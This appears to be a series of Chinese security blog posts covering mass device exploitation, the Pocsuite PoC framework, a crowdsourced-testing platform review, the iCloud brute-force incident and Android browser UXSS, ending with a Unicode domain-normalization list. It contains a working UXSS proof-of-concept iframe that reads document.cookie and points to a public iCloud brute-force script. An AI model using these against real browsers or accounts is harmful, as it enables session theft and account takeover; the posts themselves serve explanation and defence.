15年，有个比较重大的漏洞就是《“Java 反序列化”远程命令执行漏洞系列漏洞》，WebSphere，WebLogic，JBoss，Jenkins 和 OpenNMS 等 Java 应用都使用了 Apache Commons Collections 这个库，并且都存在一个序列化对象数据交互接口能够被访问到，于是都受这个漏洞影响，具体漏洞详情可见：https://www.seebug.org/vuldb/ssvid-89723

同样的，当利用面的方式去研究和探测后，可以看下受影响的数量：

或者是其他的比如ES远程代码执行？可以用来反弹Shell，也可以批量的利用：

除了这些网站服务器之外呢？比如摄像头

这只是搜索的某个型号摄像头的数量，更多的型号和品牌呢？

这些摄像头有客厅、办公室、工厂、大街、菜市场等，甚至卧室。看到这个图大家是否想象到这样呢？

不止摄像头，还有路由器，比如D-Link某几个型号路由器存在后门问题，看下这个后门的演示：

这个后门大概全球影响是这样的：

还有之前的比较重大的一次磊科(NetCore)路由器后门事件，2014/8/25，趋势科技研究员Tim Yeh发文描述了磊科疑似后门的igdmptd程序，全球有200多万台磊科路由受影响；2015/9，ZoomEye Team的探测发现UDP 53413端口的IP总数约为140万，其中110万左右是存在后门的磊科路由器，占比近80%。

其实像这些面的攻击，黑产一般都早于安全人员已经研究和利用，大家可以思考下，比如这么多的摄像头和路由器可以做什么？

• 黑产守则一：流量即钱？
• DDoS/CC资源？
• 跳板 - 密网？
• 拿用户各类隐私？

之前我负责有做过一个路由器专题，大家可以看下，https://www.zoomeye.org/project/router

继续说，如果服务器、摄像头、路由器等都还算好的，那么如果是工控设备呢？工控是最重要的脆弱系统！

这是一张工控网络图，当然，这个不是我研究的领域，更多的我就说不上来了，不过我们继续看：

通过搜索设备指纹，随便可以在公网上找到一个工控设备，这是某个PLC的管理Web页面，可以直接进行相关的配置，甚至这个Web管理平台本身存在任意文件读取漏洞。

这是另外的工控设备Web管理页面，以及同个网段下的摄像头，可以直接看到工厂内的情况。当然，其实在我看来，开放在公网上的这些毕竟是少数，更多的应该是通过公网无法访问的，举例只是想说明通过面的一种研究和利用（当然，工控设备我们可不敢乱研究）。

总结

其实，通过上面的内容，大家应该可以看到从点的漏洞研究和到面的研究的区别，举了一大堆例子并不是想跟大家表达什么，而是希望告知大家相对于单点的漏洞研究，面的角度，批量化的攻击又是怎样的；其实这些角度的攻击方式，不幸的是，黑产早已意识到并且付诸行动，而幸运的是这几年来，不止整个行业，甚至国家，也越来越重视网络安全，对于网民个人，安全意识也不断提高。其实很多时候，攻防的对抗，没法完全的防住地方，但我们可以让对方的攻击成本变高，高到入不敷出，就是对抗的胜利！

在知乎上看到有人提问说对于我们开源 Pocsuite 怎么看（关于知道创宇的 Pocsuite 开源你怎么看？ - 知道创宇），我做了回答，想想，写一篇文章，顺便谈谈我对 Pocsuite 开放的想法。

先来说说国内的几款框架

就我目前知道的国内的几个可以提交 PoC 的平台有 Beebeeto、Tangscan、Bugscan 以及我们自己的 Sebug。时间的先后顺序就不提了，因为搞不准哪个平台早就内部在测试，我在这里要是说谁先出的，到时说不定就说错了，所以这个先后顺序就不说了。

分别来看看

首先是 Beebeeto，Beebeeto 诞生于我们公司的实习生宿舍，记得去年的时候，我有段时间临时住在公司实习生宿舍，然后那时候蘑菇想到 Beebeeto 的点子，几个人还一起讨论各种策略，想各种名字，最终名字也是由蘑菇想出来，然后开发平台，最终推出 Beebeeto。

Beebeeto 平台本身就不多做讨论，来看看 Beebeeto 的框架，分别有 Beebeeto-framework 和 Beehive，跟 Pocsuite 一样，前者是基础的 PoC 编写 SDK，而后者是一个调用利用框架，两者都是开源的。Beebeeto 的两个框架的结合起来与 Pocsuite 类似，同时基本 SDK 也分为 verify 和 attack 模式。

Beebeeto 的框架本身我就不做评价了，经常有人问我，Sebug 跟 Beebeeto 有啥区别，存不存在竞争关系啥的，其实 Beebeeto 本身专注于 PoC，而对于 Sebug，PoC 只是一部分，而且蘑菇本身是我们团队的，所以我就不多做评价。

然后还有 Tangscan，Tangscan 目前框架的目的主要是方便大家基于框架编写 PoC 然后提交到 Tangscan 平台，也是开源的，模式大同小异，目前开源部分只看到基本的 SDK，没有看到调用部分，大概的看了 Tangscan，也是有 verfiy 和 Attack 模式，多多少少都类似。

然后就是 bugscan，目前是四叶草团队运营，就我下载的 SDK 来看，里面有个基本类文件是common.pyc，是编译过后的文件，所以也就算不上开源，bugscan 有个挺好的点，就是他们的框架追求使用 Python 自带库，这样就不用安装额外的库了，同时也方便跨平台，这种产品的追求，必须赞一下。

其实，漏洞盒子也推出了一个网藤扫描器好像，但是没有开放相关的框架，所以这里就不多说了。

最后再来说说我们的 Pocsuite 然后谈谈我对 Pocsuite 的想法，因为现在整个漏洞社区都是我在负责，其中也包括 Pocsuite 的发展之类的。

先介绍下 Pocsuite 把，在这之前先夸夸我们负责 Pocsuite 开发的几位同学，还有历史上团队里给 Pocsuite 做过贡献的所有同学，以及几位圈内朋友对 Pocsuite 的建议等，特别是有一位朋友，还不让我透露名字，也不让写入感谢列表。

然后用一句话来介绍下 Pocsuite，Pocsuite 是 知道创宇安全研究团队打造的一款基于漏洞与 PoC 的远程漏洞验证框架。

在8月22日的 KCon 黑客大会当天公布了我们的漏洞社区计划，同时也宣布开放了我们的 PoC 标准，开源了 Pocsuite。其实 Pocsuite 的开源，我代表了我们一种态度，把一些我们内部的东西开放共享给大家。

说实在，搞安全的团队，应该多多少少有这样一个框架或者至少有一个写 PoC 的基础类，为什么？因为当 PoC 写多了，你总能总结出一些相通的东西，然后整理成一个基础类或者框架的东西。 知道创宇安全研究团队成立于公司创立之初，也就是2007年，基本也是在没多久应该就有了 Pocsuite，只是当初可能不叫这个名字，也只是一个基础类而已。这么多年来，我们一直在打磨这款框架，大家可以看到我们我们团队在每次漏洞的应急中都很及时，除了有 ZoomEye 的能力之外，当然也少不了 Pocsuite 的功劳。 PoC 的编写在我们安全研究团队是每个人必备的技能之一。

现在类似的框架肯定不止我们一个，比如上面说的 Tangscan、Beebeeto、bugscan 等等，这些平台我不多做评价，不过大家应该都有一套自己的框架，而跟这三者有什么区别呢？可能有的同学会问，别人都搞了，你们再搞有啥意义？其实我们不在乎别人是出于什么目的开发了这样一款框架，我们的目的很简单，我可以很明白的告诉大家，我们当然希望大家都基于这个框架写 PoC，这样的话，当然是有利于我们（其实同样利于别人，因为我们最终把 PoC 开放了），我们从来不否认说开放这样一个框架是有利于我们，本身开放博得好的名声，这也算一种好处，或者其他的；但是同样的，越多的 PoC 基于这个框架编写，越利于 PoC 的传播，以及大家拿到 PoC 后的阅读和学习成本会越来越低。用我自己之前说过的话来总结，希望这框架既然开放了，就真正的是大家所想用的，希望能站在大家的角度，站在白帽子的角度，真的做好这款框架，让它真正的好用，为大家所用，而不仅仅是站在我们的角度。至于别人搞了，为什么我们还搞？我想不存在这样的问题，因为我们这框架早就有了，只是现在开放、开源出来了而已，我们希望把我们团队的东西、能力更多的开放给大家，仅此而已。而且，抛开这个问题不说，我想多几个框架也好，这样能不断互相促进嘛。

这框架由两部分组成，第一部分，也是其他比如 Tangscan、Beebeeto、bugscan 都有的，即 PoC 编写的 SDK，第二部分也就是自动化的调用测试，让大家都有测试漏洞的能力。关于说有同学提到，只有基于 Pocsuite 写的 PoC 越多，才能发挥威力，我想不是问题，先不说现在社区在发展，很多同学提交了基于 Pocsuite 的 PoC，本身我们内部一直以来都是基于 Pocsuite 进行 PoC 开发，这些 PoC 目前大家已经能在 Sebug 上看到部分，其他的我们也有考虑慢慢的开放出去。

另外，说真的，我们是真心的希望把我们自己的能力开放给大家，考虑部分安全人员可能没有编码能力，我们开发了支持 JSON 文件的 PoC 的形式，不用编写代码，写一个 JSON 文件，设置一些项的值就可以是一个 PoC，这应该是我们创新的，以上几个平台都没有的。目的就是为了方便大家编写 PoC，因为说实在的，这样一个功能的支持对于我们团队来说没有意义，因为大家都会编码写 PoC，但我们还是开发出这样一个功能，理由很简单，Pocsuite 不止是我们的框架，也是一个开源项目，就像我上面说的，希望这个框架是真正大家所想用的，大家在写 PoC 的时候自然而然能基于这个框架编写，所以我们不会只站在我们角度去开发 Pocsuite，我们最终的目的是让这个框架好用、易用、易懂。

其实，昨天有看到有同学给我截图某个甲方安全团队的某位同学在朋友圈发言说我们的框架跟他们有 80% 相似的，说被模仿也是一种认可，这个我不做评价，只想说几点事实：你们都没开源，我们去哪里抄你们？我们这个框架很早就有了，那时候你们都还没开始搞这方面的事呢。然后，不知道这位同学是不是新来的，不知道他知不知道我们团队曾经把我们的整套 PoC 包含 Pocsuite 同步过给他们，然后不要拿了不认账，后来的翻脸就不多说，反正事实是怎样就怎样，昨天看到朋友截图我也只是回了句，呵呵。

其实我就顺便吐槽下，实际上，要去讨论谁先谁后有啥意义，借用 COS 的话，什么谁先谁后，胜者为王，努力做好自己，打造每一个细节的最佳用户体验，用心做好产品是关键！而我们也将用心打造好 Pocsuite。

最后，欢迎更多的人加入这个框架的开发，欢迎有能力的同学参与进 Pocsuite 发展路线的讨论以及进行代码的贡献，大家如果有什么意见，随时可以通过 Sebug 群等渠道反馈给我！

另外，以上有什么讲的不对的地方，欢迎大家反馈给我！

然后附上 Pocsuite 项目地址：knownsec/Pocsuite · GitHub

另外，欢迎大家加入 Sebug.net，欢迎加入 QQ 群 283800159。

题图来自网上，高达，在我看来，合理的使用这些框架，就如同驾驶着高达。

用的Windows，然后通过Vagrant+VirtualBox安装了个虚拟机，是Ubuntu 12.04.3 LTS，同时将/opt进行目录映射到Windows的E盘某个目录 然后平时的开发工作主要在/opt/dev下进行，然后发现了一个坑

大家都知道Linux是区分大小写的，而在Windows下文件名是不区分大小写的

我们做个测试：

分别在虚拟机的/opt/test（映射的目录）和/tmp/test创建a.py和A.py

可以很明显的看到，/opt/test目录下就一个a.py，因为Windows下a.py和A.py代表相同文件名 因为用的Python，然后引发一个模块引用的问题

在相同目录下进行import Cookie前者是Python自带模块，后者是目录下创建的Cookie.py文件 第一次引用是因为还没在目录下创建cookie.py文件，第二次是因为创建了cookie.py，但我们是import Cookie，但理论上区分大小写，应该引用的还是Python自带模块，结果成了创建的cookie.py文件，并且编译了个Cookie.pyc。

真正认识冷总应该在今年参加syscan360会议的那会，冷总加了我微信，然后本来要准备见面聊聊天，前后两三次都不正好，没聊成，不过syscan360当天晚上微信上与冷总聊了众测以及sobug的一些自己的想法，相聊盛欢也不知不觉到了2、3点，难得的没有做其他事，之后也想着找时间正正式式参加下，所以就有了后面的参与和今天这篇文章。

转眼从刚开始的乌云众测到现在，众测平台有乌云众测、sobug、漏洞盒子、360刃甲以及威客众测，算算也有5之数了。虽然都注册了帐号，但是其他家的众测倒是没真正的参与过，就不多做评价，只聊聊关于众测、关于sobug的一些事。   闲话扯了一堆，下面进入正题。

互联网安全产品

大家可以发现题图，我用了三句话，最底下的是一款互联网安全产品。记得跟冷总聊天的时候，印象最深刻的就是冷总告诉我这是一款互联网产品。既然是互联网产品，抛开其他不说，来谈谈用户体验问题。从注册登陆到参与项目以及提交项目漏洞的过程中，整体体验来说还是挺顺的，只不过在白帽子与审核人员及厂商的沟通上缺少有效的方式，只能通过报告页评论，然后评论没有提示，还有一些细节的问题，不过听小智说都已经处理，在下个版本发布，坐等更新。

除了因为是互联网产品，要讲究用户体验，同时这个互联网产品前面还有个修饰词“安全”，所以如果保证白帽子和厂商的隐私安全也是要讲究的，很欣喜的看到sobug使用的是ssl加密连接。

其他方面，到目前为止，稳定性、访问速度等均觉得不错，平台的UI设计方面也清新怡人，是我喜欢的风格，哈哈。

漏洞研究提高互联网安全

其实对于所有的众测平台来说，都存在一个信任的问题。厂商如何信任平台，信任平台上的白帽子能够提交漏洞，而不会在自己为漏洞买单的同时转手把漏洞发出去等等。

作为一个白帽子，参加众测平台，厂商如何信任平台其实不是我所关心的，换句话说，应该更关心的是信任情况带来另一层影响，有项目可以参与，参与的项目给足够的奖金，这才是参加众测的白帽子关心的问题。

根据sobug上显示的情况，目前看来应该还算是比较良好的，第一名的神奇四侠大牛已经获得了42000的奖金（似乎有部分奖金未刷新显示），累计106个合作厂商，16个项目，1450个bug，项目预算总额160w多(实际发放的奖金肯定不是这么多)。其实总的发了多少、多少个洞啥的我都不关心，就我个人的体验来说，在参与某大型彩票网站项目快结束的时候，还没结束，马上又有某大型交易网站的项目，就是有项目接着参与，这个是不错的。
不过还存在一个问题，那就是僧多肉少，因为是大家同时参加众测，在一个项目开始后，基本上如果手慢，那么那些比较好发现的漏洞基本就已经被人提交了，这里不得不提sobug的两个个功能，在提交漏洞的时候要求填写目标页面链接，然后会提示是否重复，当然并不能100%的正确识别，毕竟只是根据链接做处理，这样让白帽子心里有数可能有人提交了；同时在提交漏洞后审核被忽略的情况还可以查看重复目标漏洞的详情，让白帽子自己可以对比确认，我觉得这两个功能着实不错。不过这引出另一个问题，重复意味着忽略，意味着做无用功，会打击积极性，当然我也木有想到好的处理方法，只能说你够强大，手够快，要嘛在别人提交前提交，要嘛发现一些别人发现不了的漏洞，仅此而已。

连接安全专家与厂商

在我看来，做好这部分是最难的，两个项目过程中，我想应该就我提的问题、异议最多了。话说在看来，这些做CEO的同学们，特别是创业团队，特别喜欢大家有问题直接提给他们，所以我基本有啥觉得不正确不合理的就马上直接在群里噼里啪啦的反馈了，哈哈。

从白帽子发现漏洞到提交漏洞，到漏洞审核，确定等级，沟通等级，确定奖励金额，整个过程我觉得是个坑，如何做好整个流程是对众测平台的一大考验啊。

首先，一些厂商不收一些低等级的漏洞，那么漏洞的等级定位的差异是个问题，比如说厂商不要低危漏洞，但是我提交了一个我觉得是中危的漏洞，结果平台审核同学告诉我是低危的，而我坚持是中危，这又如何是好？

其次，漏洞复现以及漏洞重复判断。提交那个大型交易网站漏洞的时候我就提交过一个被提示为重复而我认为不重复的洞，最终通过沟通得到确认，具体下面细说。

第三，厂商对漏洞的定级。你认为高危的漏洞，到厂商那，他觉得没有影响数据啥的，应该降为低危，这又该如何？

第四，奖金的评定，平台对于同一等级漏洞的奖金评定是在一个范围内，那么到底该给多少？

还有一些其他的问题，我就不细说了，说说这四个大问题，其实主要就是认知的差异性，而导致认知不同的各种原因，比如技术程度不同等等。

第一个问题，我觉得目前不仅是各个众测平台，包含各厂商安全应急响应平台，都一样，就是对漏洞的定级问题。包含sobug，我觉得给出的文档对于漏洞的定级还是过于简单和泛，漏洞的等级到底需要考虑影响程度吗？或者其他的？我觉得修订一份详细可查询参考的说明在出现认知差异时作为认定依据很有必要的。

第二个问题，在参与大型交易网站项目的时候我提交过一个组合漏洞利用的报告，第一次被忽略了，说是重复了，于是我提出异议，我觉得我对于漏洞的利用的点是与重复漏洞完全不同的，重复漏洞只是单纯的提交了这样一个漏洞，我组合利用两个漏洞利用，达到的效果完全是不同的，最终的结果是由我提供详细的利用说明来交由厂商定夺。所以就扯到第三个问题。

第三个问题，在我看来，因为厂商是出钱让白帽子找漏洞的，如果碰上无良厂商，他肯定是希望钱给的少比较好，那么如何才能钱给的比较少？就是被漏洞等级认定降低。当然，这只是个举例，还没碰到过这种厂商，最多的还是认知不同与厂商在对漏洞等级的认定存在差异，于是又回到第一个问题了。

第四个问题，其实我还没经历这个步骤，但是在我看来与前三个问题是差不多的，认知不同。

而作为一个众测平台，连接安全专家与厂商，如何个连接法？如何协调？这是一个很重要的环节，你不能损害厂商的利益，也不能让白帽子的劳动白费。在这点上，不知道其他众测平台怎么样，sobug在我看来还是不错的，反正我是问题最多的，提出异议最多的（我不是故意给冷总找茬的[抠鼻]），不管是冷总还是小智在与我沟通的过程中，尽管这是一件两头不是人的事，但是可以看的出sobug作为一个平台在坚持一些原则的同时在维护白帽子和厂商的利益，同时也在积极寻找方案解决这些问题，这个必须点赞。

问题

讲了一大堆估计大家认为我给sobug打广告来了，讲sobug这里好那里好，都不见讲问题。不急。

其实就前面讲的，抛开平台的性质不说，整个平台在一些功能的使用上至少目前看来还是不够的，还是有许多的细节没处理，包括我觉得很重要的沟通的问题，仅仅只能在漏洞提交详情页进行针对评论，而且不再次打开页面不知道被回复了，这是个坑，还是需要优先处理的。然后比如说，漏洞列表没有筛选功能，全部漏洞一批列表列在那，就只有编号和标题等几个简单信息；再者项目列表与漏洞列表缺少关联，查看漏洞只能点“我的众测”进入查看所有自己提交的漏洞列表，而不能通过项目页点击进入查看该项目提交的漏洞；再者，提交漏洞，得在项目页点击进入查看项目详情，然后底部才有一个按钮显示“提交漏洞”，等等细节问题还是有待改进。

其次，就像上面说的，漏洞分级提供的文档写的太泛了，对于漏洞分级等问题都是通过QQ上进行沟通，整个漏洞提交确认的流程还是有待优化，有些可以自动化的东西完全可以做成平台功能，全部靠人工交流比较费白帽子的时间，而且对平台的人力要求也比较高。

另外，对于一些新的功能还是需要抓紧开发，跟冷总聊了挺多想法，不过目前有些都还没看到，还是有待继续努力。

总结

总的来说，就当时跟冷总聊的那些内容还是很期待在sobug上看到，包括现在已经看到的部分，希望sobug一步步按照自己的计划走好，祝sobug越来越好，然后在整个平台的用户体验和各种流程上也需要下一番功夫的。

估计这两天大家都在求视频和照片的下载地址，源于好莱坞艳照门事件。

今天一则近百名好莱坞女星 iCloud 账户遭黑客攻击导致裸照泄露的新闻将 iCloud 的安全推倒风口浪尖，其中泄露的女明星包括 Jennifer Lawrence（詹妮弗·劳伦斯）、Kirsten Dunst（克里斯丁·邓斯特）、Jennifer Lopez（珍妮弗·洛佩兹）、歌手Rihanna（蕾哈娜）、Scarlett Johansson（斯嘉丽·约翰逊）等等。

相信很多同学已经看过这些照片和视频了，我就不多加介绍了，然后大家也别求种子啥的，这个肯定是木有的（/抠鼻）。

又是一件与个人隐私安全密切相关的事件，事件我就变多介绍了，来谈谈事件背后的漏洞，缘于苹果官方对于iCloud帐户的暴力破解的限制存在疏漏导致可以帐户可以被暴力破解，而流传出来的照片就是来自于此。

估计经过媒体的宣传和网络热炒，苹果官方反正是要背全黑锅了，管你用户密码太简单容易破解还是其他的，反正就是你没做好安全措施。哈哈，不多做评价，这种东西本来就很难防范，比如我设置个字母+数字+特殊字符+大小写，然后足够的长度，你给我破解试试，当然这么说不是排除苹果的原因，只是希望任何一件安全事件都不要被夸大，当然这个事件因为牵扯到明星，又是苹果公司，所以影响就大了，这个事件不做评价，大家各看各的，各有各观点。

附上破解脚本一份，hackappcom/ibrute · GitHub，搞开发的同学应该一看就看得懂代码，代码很简单，可以了解下漏洞，不要用来做坏事（今天测试了下，是可以成功的）。

第二件事就是安卓浏览器同源策略绕过。

可能根据上面那句话，大家不知道是什么情况，简单的说这是一个UXSS漏洞。这个事说来还挺碰巧的，因为有同学问我UXSS，于是就想着写篇UXSS的介绍文章，然后在找相关资料和案例的时候（这点表示国内基本没资料。。。）正好就找到了这个漏洞的介绍文章。

原文链接： http://www.rafayhackingarticles.net/2014/08/android-browser-same-ori gin-policy.html

同源策略的话，大概介绍下，看过COS的《web前端黑客技术解密》的同学应该在书的第一章就可以看到介绍，cos在书里比喻成楚河汉界，大家可以去看看。我简单的解释下，因为有这个同源策略的存在，那么网站http://a.com就只能读取自己的东西，比如会话信息，而不能去读取http://b.com的会话信息，当然，对http://b.com、http://c.com都是同理的。

然后再来介绍下UXSS，对于常见XSS可能大家稍微有点了解，就是网站存在漏洞，可以被跨站，可能大家最熟悉的就是弹个框啥的，是否只能弹个窗啥的我就不多做解释，知乎上正好有人提问 http://www.zhihu.com/question/24918141。

而UXSS与普通XSS有什么区别？简单的说，普通XSS需要网站本身存在漏洞，而UXSS叫做通用跨站脚本攻击，利用的是浏览器本身或者浏览器扩展程序的漏洞，不需要网站本身存在漏洞也可以触发漏洞，而怎么利用漏洞等就与普通XSS没什么区别了。

看一张图，今天测试的图

这个是我今天测试这个漏洞的截图。这个截图大家可以看到百度弹了cookie，但是这并不是我挖到了百度首页的XSS漏洞，而是利用刚才介绍的浏览器的漏洞来实现的。讲到这里大家应该明白UXSS是什么了，更多的可以看我昨天的博文通用跨站脚本攻击(UXSS)

大家可以用我构造的页面测试下http://0xsafe.org/x.html，通过指定版本的安卓浏览器进行访问或者QQ、微信等直接访问也是可以的。

根据介绍这个漏洞是因为URL解析器对空字符的不正确处理导致的（下文poc中的u0000）。

poc：

1

<iframe name="x" src="百度一下，你就知道" onload="window.open('u0000javascript:alert(document.cookie)','x')" >

其他的就不多做介绍了，讲下使用对应版本安卓系统的同学如何防范该问题，最简单的一点：

不管是QQ、微信或者其他渠道发送的可疑链接都不要去点击（QQ和微信点击链接进行页面访问实际上通俗的讲就是内嵌浏览器，所以性质是一样的）

坐等更新就好。

然后针对iCloud的问题，官方说修复了，如果你实在不放心，不管官方有没有修复，最简单的方式：

将密码设置的足够强壮！

什么是UXSS？

大家都知道有反射型XSS、存储型XSS、DomXSS，还有之前wooyun知识库上由gainover翻译的mXSS，也就是突变XSS（文章地址http://drops.wooyun.org/tips/956）。

可能比较少同学了解何谓UXSS，UXSS全称Universal Cross-Site Scripting，翻译过来就是通用型XSS，也叫Universal  XSS。

那么，UXSS由于前面提到的几种XSS有什么区别？

常见的XSS攻击的是因为客户端或服务端的代码开发不严谨等问题而存在漏洞的目标网站或者应用程序。这些攻击的先决条件是页面存在漏洞，而它们的影响往往也围绕着漏洞页面本身的用户会话。换句话说，因为浏览器的安全功能的影响，XSS攻击只能读取受感染的会话，而无法读取其他的会话信息，也就是同源策略的影响。
UXSS保留了基本XSS的特点，利用漏洞，执行恶意代码，但是有一个重要的区别：
不同于常见的XSS，UXSS是一种利用浏览器或者浏览器扩展漏洞来制造产生XSS的条件并执行代码的一种攻击类型。

讲了这么多大家应该明白，通俗的说，就是原来我们进行XSS攻击等都是针对Web应用本身，是因为Web应用本身存在漏洞才能被我们利用攻击；而UXSS不同的是通过浏览器或者浏览器扩展的漏洞来"制作XSS漏洞"，然后剩下的我们就可以像普通XSS那样利用攻击了。

影响

那么UXSS与通常的XSS有什么影响的区别？前面我们提到，因为同源策略，即使一个漏洞页面存在XSS，我们可以访问它的用户会话信息等，但是无法访问其他域的相关的会话信息，而因为UXSS是利用浏览器本身或者浏览器扩展程序的漏洞，所以对于攻击发起时浏览器打开或缓存的所有页面（即使不同域的情况）的会话信息都可以进行访问。简单的说，UXSS不需要一个漏洞页面来触发攻击，它可以渗透入安全没有问题的页面，从而创造一个漏洞，而该页面原先是安全无漏洞的（比如下面的例子）。

Web浏览器是正在使用的最流行的应用程序之一、。浏览器可能有漏洞被发现，有一整个的漏洞纰漏过程，当一个新漏洞被发现的时候，不管是把漏洞藏起来自己利用还是说报告给官方，而这个过程中都有一段不小的时间，这一过程中漏洞都可能被利用于UXSS。

不仅是浏览器本身的漏洞，现在主流浏览器都支持扩展程序的安装，而众多的浏览器扩展程序可能导致带来更多的漏洞和安全问题。

因为UXSS攻击不需要页面本身存在漏洞，同时可能访问其他安全无漏洞页面，使得UXSS成为XSS里危险和最具破坏性的攻击类型之一。

UXSS案例

1、IE6或火狐浏览器扩展程序Adobe Acrobat的漏洞

这是一个比较老的漏洞，但这是一个比较经典的例子。当使用扩展程序时导致错误，使得代码可以执行。这是一个在pdf阅读器中的bug，允许攻击者在客户端执行脚本。构造恶意页面，写入恶意脚本，并利用扩展程序打开pdf时运行代码。 Stefano Di Paola 和 Giorgio Fedon在一个在Mozilla Firefox浏览器Adobe Reader的插件中可利用的缺陷中第一个记录和描述的UXSS Adobe插件通过一系列参数允许从外部数据源取数据进行文档表单的填充，如果没有正确的执行，将允许跨站脚本攻击。原pdf: http://events.ccc.de/congress/2006/Fahrplan/attachments/1158-Subverting_Ajax.pdf或者详见http://jeremiahgrossman.blogspot.com/2007/01/what-you-need- to-know-about-uxss-in.html

2、IE8跨站脚本过滤器缺陷

David Lindsay 和Eduardo Vela Nava已经在2010年的BlackHat Europe展示了这个漏洞的UXSS利用。 IE8中内置了XSS过滤器，用于检测反射XSS,并采取纠正措施：在页面渲染之前更改响应内容。 在这种特殊情况下，等号将会被过滤器去除，但是通过精心构造的XSS字符串在特定的地方，这个逻辑会导致浏览器创建XSS条件。微软的响应是改变了XSS过滤器去除的字符。具体可以查看pdf: http://p42.us/ie8xss/Abusing_IE8s_XSS_Filters.pdf

3、Flash Player UXSS 漏洞 - CVE-2011-2107

一个在2011年Flash Player插件（当时的所有版本）中的缺陷使得攻击者通过使用构造的.swf文件，可以访问Gmail设置和添加转发地址。因此攻击者可以收到任意一个被攻破的Gmail帐号的所有邮件副本（发送的时候都会抄送份）。Adobe承认了该漏洞，详见http://www.adobe.com/support/security/bulletins/apsb11-13.html

4、安卓版Chrome浏览器漏洞

移动设备也不例外，而且可以成为XSS攻击的目标。Chrome安卓版存在一个漏洞，允许攻击者将恶意代码注入到Chrome通过Intent对象加载的任意的web页面。具体详见https://code.google.com/p/chromium/issues/detail?id= 144813

5、其他的例子

• http://insert-script.blogspot.com/2013/08/uxss-internet-explorer-euc-jp-parsing.html
• http://www.rapid7.com/db/modules/auxiliary/gather/apple_safari_webarchive_uxss
• http://www.wooyun.org/bugs/wooyun-2014-074655
• http://www.cnvd.org.cn/flaw/show/CNVD-2012-5462
• http://www.wooyun.org/bugs/wooyun-2014-071915
• http://cxsecurity.com/issue/WLB-2012100086
• http://www.maths.usyd.edu.au/u/psz/ff-utf7-uxss.html

更多的大家自己搜索把

典例分析

本来整理这篇文章的时候还不知道大牛发了一个UXSS，写完上wooyun正好就看到mramydnei大牛发了《安卓浏览器SOP绕过漏洞（UXSS）》的漏洞（详见http://zone.wooyun.org/co ntent/14945），就补充到文章里。 简要分析下，这个漏洞是构造一个页面，页面嵌入iframe，然后通过u0000进行浏览器的sop绕过进行XSS。

更多细节可以看大牛的博客以及参考文章http://parsec.me/625.html、http://parsec.me/660.html。

防范

防范UXSS的经验法则是打好所有的补丁，保持最新版本。 这将确保您的环境中使用的浏览器版本以及您所需要的扩展程序，是不可能通过UXSS进行漏洞利用的。 而然，这是否意味着你就高枕无忧呢？不是这样的，运行最新的版本也不能保证是完全安全的。当一个漏洞被发现、提交、确认、修复已经发布补丁，中间是有时间差的，而在这段时间内，将可能收到UXSS攻击。

另外，更多的XSS相关知识可以访问 https://xssing.org，目前在添加资料中

反正大家看着后缀是等于下列：之后的，基本就可以注册

域名名称的话建议注册1-20，m之类的，可以转为字符带点的

可以转为⒚㏉这种形式的

至于为什么这么注册，大家具体看文章http://drops.wooyun.org/tips/2839

截止发文还可以注册的，相对价格可以承受的域名 13.gy、14.gy、15.gy（hostsir.com/Domain 注册200出头）

ff:ff fi:fi fl:fl ffi:ffi ffl:ffl ſt:st st:st ㎀:pa ㎁:na ㎃:ma ㎄:ka ㎅:kb ㎆:mb ㎇:gb ㎈:cal ㎉:kcal ㎊:pf ㎋:nf ㎎:mg ㎏:kg ㎐:hz ㎑:khz ㎒:mhz ㎓:ghz ㎔:thz ㎖:ml ㎗:dl ㎘:kl ㎙:fm ㎚:nm ㎜:mm ㎝:cm ㎞:km ㎟:mm2 ㎠:cm2 ㎡:m2 ㎢:km2 ㎣:mm3 ㎤:cm3 ㎥:m3 ㎦:km3 ㎩:pa ㎪:kpa ㎫:mpa ㎬:gpa ㎭:rad ㎰:ps ㎱:ns ㎳:ms ㎴:pv ㎵:nv ㎷:mv ㎸:kv ㎹:mv ㎺:pw ㎻:nw ㎽:mw ㎾:kw ㎿:mw ㏃:bq ㏄:cc ㏅:cd ㏈:db ㏉:gy ㏊:ha ㏋:hp ㏌:in ㏍:kk ㏎:km ㏏:kt ㏐:lm ㏑:ln ㏒:log ㏓:lx ㏔:mb ㏕:mil ㏖:mol ㏗:ph ㏙:ppm ㏚:pr ㏛:sr ㏜:sv ㏝:wb ㍱:hpa ㍲:da ㍳:au ㍴:bar ㍵:ov ㍶:pc ß:ss IJ:ij ij:ij ſ:s LJ:lj Lj:lj lj:lj NJ:nj Nj:nj nj:nj DZ:dz Dz:dz dz:dz ₨:rs №:no ℠:sm ℡:tel ™:tm